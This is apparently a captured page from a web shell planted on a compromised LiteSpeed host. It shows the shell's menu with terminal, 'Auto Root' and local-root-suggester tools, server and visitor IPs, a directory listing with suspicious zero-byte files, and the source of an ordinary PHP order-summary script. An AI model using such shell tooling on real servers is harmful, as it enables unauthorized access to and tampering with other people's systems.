Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.150
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
css /
Delete
Unzip
Name
Size
Permission
Date
Action
Roboto
[ DIR ]
drwxr-xr-x
2025-09-12 16:39
faces
[ DIR ]
drwxr-xr-x
2025-09-12 10:09
light
[ DIR ]
drwxr-xr-x
2025-09-12 18:13
api_three.txt
0
B
-rw-r--r--
2025-09-12 17:31
balance_add_remove.php
0
B
-rw-r--r--
2025-09-12 16:57
delete_smart.php
1.19
KB
-rw-r--r--
2025-05-29 16:24
get_work_summary.php
1.05
KB
-rw-r--r--
2024-11-14 17:28
logout.php
0
B
-rw-r--r--
2025-09-12 20:42
on_off_test.php
14.85
KB
-rw-r--r--
2024-11-17 06:25
wp-blog-header.php
0
B
-rw-r--r--
2025-09-12 19:14
wp-cron.php
2.73
KB
-rw-r--r--
2025-09-01 07:25
Save
Rename
<?php include 'includes/configuration.php'; session_start(); $user = base64_decode($_SESSION["user_id"]); // Get the number of days from the request, defaulting to 1 (today) $days = isset($_GET['days']) && $_GET['days'] !== 'all' ? (int)$_GET['days'] : 'all'; if ($days === 'all') { // Query to get all records $sql = "SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work"; } else { // Query to get records within the last specified days $sql = "SELECT COUNT(*) AS totalOrders, SUM(price) AS totalPrice FROM history_work WHERE order_time >= DATE_SUB(CURDATE(), INTERVAL ? DAY)"; } $stmt = $conn->prepare($sql); if ($days !== 'all') { $stmt->bind_param("i", $days); } $stmt->execute(); $result = $stmt->get_result(); $summary = $result->fetch_assoc(); // Default values if no results $totalOrders = $summary['totalOrders'] ?? 0; $totalPrice = $summary['totalPrice'] ?? 0; header('Content-Type: application/json'); echo json_encode(['totalOrders' => $totalOrders, 'totalPrice' => $totalPrice]); ?>